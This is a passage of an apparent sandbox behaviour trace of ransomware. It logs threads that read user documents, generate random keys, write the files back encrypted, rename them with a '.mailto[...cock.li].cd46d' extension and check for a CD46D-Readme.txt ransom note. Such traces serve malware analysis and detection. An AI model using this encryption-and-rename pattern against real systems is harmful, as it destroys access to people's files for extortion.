lpBuffer=0x5e47cb0*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x63ef950, lpOverlapped=0x0 | out: lpBuffer=0x5e47cb0*, lpNumberOfBytesWritten=0x63ef950*=0x105, lpOverlapped=0x0) returned 1 [0048.122] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47cb0) returned 1 [0048.122] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef1c8) returned 1 [0048.122] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47168) returned 1 [0048.122] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef198) returned 1 [0048.122] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47140) returned 1 [0048.122] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47020) returned 1 [0048.122] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed840) returned 1 [0048.122] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed868) returned 1 [0048.122] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xae) returned 0x442bc0 [0048.122] wcscpy (in: _Dest=0x442bc0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Giw9OA.ots" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Giw9OA.ots") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Giw9OA.ots" [0048.122] wcscat (in: _Dest=0x442bc0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Giw9OA.ots.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Giw9OA.ots.mailto[2Hamlampampom@cock.li].cd46d" [0048.122] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Giw9OA.ots.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x63ef908, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Giw9OA.ots.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0048.122] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc4) returned 0x5e00610 [0048.122] NtSetInformationFile (FileHandle=0x6bc, IoStatusBlock=0x63ef900, FileInformation=0x5e00610, Length=0xc4, FileInformationClass=0xa) returned 0x0 [0048.191] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00610) returned 1 [0048.191] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4513c0) returned 1 [0048.191] NtQueryInformationFile (in: FileHandle=0x6bc, IoStatusBlock=0x63ef914, FileInformation=0x63ef8ec, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x63ef914, FileInformation=0x63ef8ec) returned 0x0 [0048.191] NtSetInformationFile (FileHandle=0x6bc, IoStatusBlock=0x63ef914, FileInformation=0x63ef8ec, Length=0x28, FileInformationClass=0x4) returned 0x0 [0048.195] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442bc0) returned 1 [0048.195] FlushFileBuffers (hFile=0x6bc) returned 1 [0048.196] CloseHandle (hObject=0x6bc) returned 1 [0048.199] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x4ee018 [0048.199] wcscpy (in: _Dest=0x4ee018, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0048.199] wcscat (in: _Dest=0x4ee018, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0048.199] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0048.213] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ee018) returned 1 [0048.213] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4216c8) returned 1 Thread: id = 317 os_tid = 0xb6c [0047.742] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Gzcsa8rpswPz_.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gzcsa8rpswpz_.docx")) returned 0x20 [0047.742] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Gzcsa8rpswPz_.docx", dwFileAttributes=0x20) returned 1 [0047.742] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Gzcsa8rpswPz_.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gzcsa8rpswpz_.docx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6c0 [0047.742] GetFileSizeEx (in: hFile=0x6c0, lpFileSize=0x6c8f798 | out: lpFileSize=0x6c8f798*=12520) returned 1 [0047.742] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x30e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.742] ReadFile (in: hFile=0x6c0, lpBuffer=0x6c8f71c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6c8f718, lpOverlapped=0x0 | out: lpBuffer=0x6c8f71c*, lpNumberOfBytesRead=0x6c8f718*=0x4, lpOverlapped=0x0) returned 1 [0047.743] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.743] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46fa8 [0047.743] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed818 [0047.743] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed890 [0047.743] NtQuerySystemTime (in: CurrentTime=0x6c8f6f8 | out: CurrentTime=0x6c8f6f8*=132174898117284000) returned 0x0 [0047.743] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x3aa2195d [0047.743] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x5f0b03e1 [0047.743] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x4336eee [0047.743] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x13008577 [0047.743] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x29d42113 [0047.743] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x3de6bcdc [0047.743] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x1509b78e [0047.743] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x6af8c2f9 [0047.743] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x480b1d99 [0047.743] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x590073fa [0047.743] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x5cb847e4 [0047.743] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x582ded82 [0047.744] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x39d9e56b [0047.744] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x321dd638 [0047.744] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x1e74187 [0047.744] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x78881fcf [0047.744] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x4fab65a1 [0047.744] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x17117cf1 [0047.744] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x1d4b8a9 [0047.744] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0xc9e71dd [0047.744] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x7b0af1ae [0047.744] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x76a3761f [0047.744] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x4f813927 [0047.744] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x23b2ec3d [0047.744] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x356b92ee [0047.744] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x6c37313 [0047.744] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x7d2eff8c [0047.744] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0xea61701 [0047.744] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x1fe75f65 [0047.744] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x79e6efcc [0047.744] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x37225c82 [0047.744] RtlRandomEx (in: Seed=0x6c8f704 | out: Seed=0x6c8f704) returned 0x23ede8ee [0047.756] ReadFile (in: hFile=0x6c0, lpBuffer=0x96660a8, nNumberOfBytesToRead=0x30e8, lpNumberOfBytesRead=0x6c8f6f4, lpOverlapped=0x0 | out: lpBuffer=0x96660a8*, lpNumberOfBytesRead=0x6c8f6f4*=0x30e8, lpOverlapped=0x0) returned 1 [0047.756] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.756] WriteFile (in: hFile=0x6c0, lpBuffer=0x96728b0*, nNumberOfBytesToWrite=0x30e8, lpNumberOfBytesWritten=0x6c8f6f0, lpOverlapped=0x0 | out: lpBuffer=0x96728b0*, lpNumberOfBytesWritten=0x6c8f6f0*=0x30e8, lpOverlapped=0x0) returned 1 [0048.049] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e47190 [0048.049] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e471b8 [0048.049] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e471b8) returned 1 [0048.049] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96728b0) returned 1 [0048.050] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96660a8) returned 1 [0048.050] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45b48) returned 1 [0048.050] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402cc0) returned 1 [0048.050] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x31) returned 0x440560 [0048.051] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.051] WriteFile (in: hFile=0x6c0, lpBuffer=0x5e47dc0*, nNumberOfBytesToWrite=0x115, lpNumberOfBytesWritten=0x6c8f758, lpOverlapped=0x0 | out: lpBuffer=0x5e47dc0*, lpNumberOfBytesWritten=0x6c8f758*=0x115, lpOverlapped=0x0) returned 1 [0048.124] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47dc0) returned 1 [0048.124] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440520) returned 1 [0048.124] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e471b8) returned 1 [0048.124] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440560) returned 1 [0048.124] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47190) returned 1 [0048.124] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed818) returned 1 [0048.124] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed8b8) returned 1 [0048.124] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed8e0) returned 1 [0048.124] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbe) returned 0x44c890 [0048.124] wcscpy (in: _Dest=0x44c890, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Gzcsa8rpswPz_.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Gzcsa8rpswPz_.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Gzcsa8rpswPz_.docx" [0048.124] wcscat (in: _Dest=0x44c890, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Gzcsa8rpswPz_.docx.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Gzcsa8rpswPz_.docx.mailto[2Hamlampampom@cock.li].cd46d" [0048.124] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Gzcsa8rpswPz_.docx.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x6c8f710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Gzcsa8rpswPz_.docx.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0048.124] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd4) returned 0x5e47860 [0048.124] NtSetInformationFile (FileHandle=0x6c0, IoStatusBlock=0x6c8f708, FileInformation=0x5e47860, Length=0xd4, FileInformationClass=0xa) returned 0x0 [0048.194] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47860) returned 1 [0048.194] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4522d8) returned 1 [0048.194] NtQueryInformationFile (in: FileHandle=0x6c0, IoStatusBlock=0x6c8f71c, FileInformation=0x6c8f6f4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x6c8f71c, FileInformation=0x6c8f6f4) returned 0x0 [0048.194] NtSetInformationFile (FileHandle=0x6c0, IoStatusBlock=0x6c8f71c, FileInformation=0x6c8f6f4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0048.199] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c890) returned 1 [0048.199] FlushFileBuffers (hFile=0x6c0) returned 1 [0048.200] CloseHandle (hObject=0x6c0) returned 1 [0048.203] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x4ee098 [0048.203] wcscpy (in: _Dest=0x4ee098, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0048.203] wcscat (in: _Dest=0x4ee098, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0048.203] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0048.211] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ee098) returned 1 [0048.211] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400a98) returned 1 Thread: id = 318 os_tid = 0xb70 [0047.757] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\h1iVwb9U.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\h1ivwb9u.rtf")) returned 0x20 [0047.757] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\h1iVwb9U.rtf", dwFileAttributes=0x20) returned 1 [0047.757] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\h1iVwb9U.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\h1ivwb9u.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6c4 [0047.757] GetFileSizeEx (in: hFile=0x6c4, lpFileSize=0x615f93c | out: lpFileSize=0x615f93c*=78287) returned 1 [0047.757] SetFilePointerEx (in: hFile=0x6c4, liDistanceToMove=0x131cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.757] ReadFile (in: hFile=0x6c4, lpBuffer=0x615f8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x615f8bc, lpOverlapped=0x0 | out: lpBuffer=0x615f8c0*, lpNumberOfBytesRead=0x615f8bc*=0x4, lpOverlapped=0x0) returned 1 [0047.758] SetFilePointerEx (in: hFile=0x6c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.758] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46fa8 [0047.758] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed890 [0047.758] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed908 [0047.758] NtQuerySystemTime (in: CurrentTime=0x615f89c | out: CurrentTime=0x615f89c*=132174898117440000) returned 0x0 [0047.758] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x2951f464 [0047.758] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x75e87e [0047.758] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x566f7adb [0047.758] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x6b791ed0 [0047.758] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x60c536ce [0047.758] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x7690a8d0 [0047.758] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x758d963 [0047.758] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x2881b185 [0047.758] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x49f0edb0 [0047.759] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x4bdb906 [0047.759] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x4dd1a4dd [0047.759] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x4e53d18c [0047.759] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x733721e2 [0047.759] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x26344a7c [0047.759] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x327b3d64 [0047.759] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x316a97d4 [0047.759] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x5ce393c [0047.759] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x2e117a56 [0047.759] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0xb591003 [0047.759] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x3ae73b5b [0047.759] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x1f957e98 [0047.759] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0xce5ec7a [0047.759] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x6c295c51 [0047.759] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x1976fb7e [0047.759] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x73a35a52 [0047.759] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x5e94f3dd [0047.759] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x1d4be5e2 [0047.759] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x6da2160f [0047.759] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x661f9dcf [0047.759] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x51c6e727 [0047.759] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x140d4028 [0047.759] RtlRandomEx (in: Seed=0x615f8a8 | out: Seed=0x615f8a8) returned 0x79971ca0 [0047.770] SetFilePointerEx (in: hFile=0x6c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.770] ReadFile (in: hFile=0x6c4, lpBuffer=0x967f0b8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x615f87c, lpOverlapped=0x0 | out: lpBuffer=0x967f0b8*, lpNumberOfBytesRead=0x615f87c*=0xc800, lpOverlapped=0x0) returned 1 [0047.770] SetFilePointerEx (in: hFile=0x6c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.770] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402d08 [0047.770] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e45bc0 [0047.770] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46fa8 [0047.771] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46fa8) returned 1 [0047.772] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x968b8c0 [0047.774] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46fa8 [0047.774] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed908 [0047.774] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed908) returned 1 [0047.774] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45bc0) returned 1 [0047.774] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402d08) returned 1 [0047.774] WriteFile (in: hFile=0x6c4, lpBuffer=0x968b8c0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x615f87c, lpOverlapped=0x0 | out: lpBuffer=0x968b8c0*, lpNumberOfBytesWritten=0x615f87c*=0xc800, lpOverlapped=0x0) returned 1 [0048.052] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x968b8c0) returned 1 [0048.052] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x967f0b8) returned 1 [0048.052] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x4ef1f8 [0048.053] SetFilePointerEx (in: hFile=0x6c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.053] WriteFile (in: hFile=0x6c4, lpBuffer=0x95d0048*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x615f8fc, lpOverlapped=0x0 | out: lpBuffer=0x95d0048*, lpNumberOfBytesWritten=0x615f8fc*=0x109, lpOverlapped=0x0) returned 1 [0048.126] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0048) returned 1 [0048.126] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef228) returned 1 [0048.126] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e471e0) returned 1 [0048.126] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef1f8) returned 1 [0048.126] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46fa8) returned 1 [0048.126] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed890) returned 1 [0048.126] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed930) returned 1 [0048.126] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed958) returned 1 [0048.126] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb2) returned 0x5e02120 [0048.126] wcscpy (in: _Dest=0x5e02120, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\h1iVwb9U.rtf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\h1iVwb9U.rtf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\h1iVwb9U.rtf" [0048.126] wcscat (in: _Dest=0x5e02120, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\h1iVwb9U.rtf.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\h1iVwb9U.rtf.mailto[2Hamlampampom@cock.li].cd46d" [0048.126] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\h1iVwb9U.rtf.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x615f8b4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\h1iVwb9U.rtf.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0048.126] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e006e0 [0048.126] NtSetInformationFile (FileHandle=0x6c4, IoStatusBlock=0x615f8ac, FileInformation=0x5e006e0, Length=0xc8, FileInformationClass=0xa) returned 0x0 [0048.237] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e006e0) returned 1 [0048.244] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4520b0) returned 1 [0048.244] NtQueryInformationFile (in: FileHandle=0x6c4, IoStatusBlock=0x615f8c0, FileInformation=0x615f898, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x615f8c0, FileInformation=0x615f898) returned 0x0 [0048.244] NtSetInformationFile (FileHandle=0x6c4, IoStatusBlock=0x615f8c0, FileInformation=0x615f898, Length=0x28, FileInformationClass=0x4) returned 0x0 [0048.245] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02120) returned 1 [0048.245] FlushFileBuffers (hFile=0x6c4) returned 1 [0048.277] CloseHandle (hObject=0x6c4) returned 1 [0048.278] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400a18 [0048.278] wcscpy (in: _Dest=0x400a18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0048.278] wcscat (in: _Dest=0x400a18, _Source="CD46D-Readme.txt" | out: 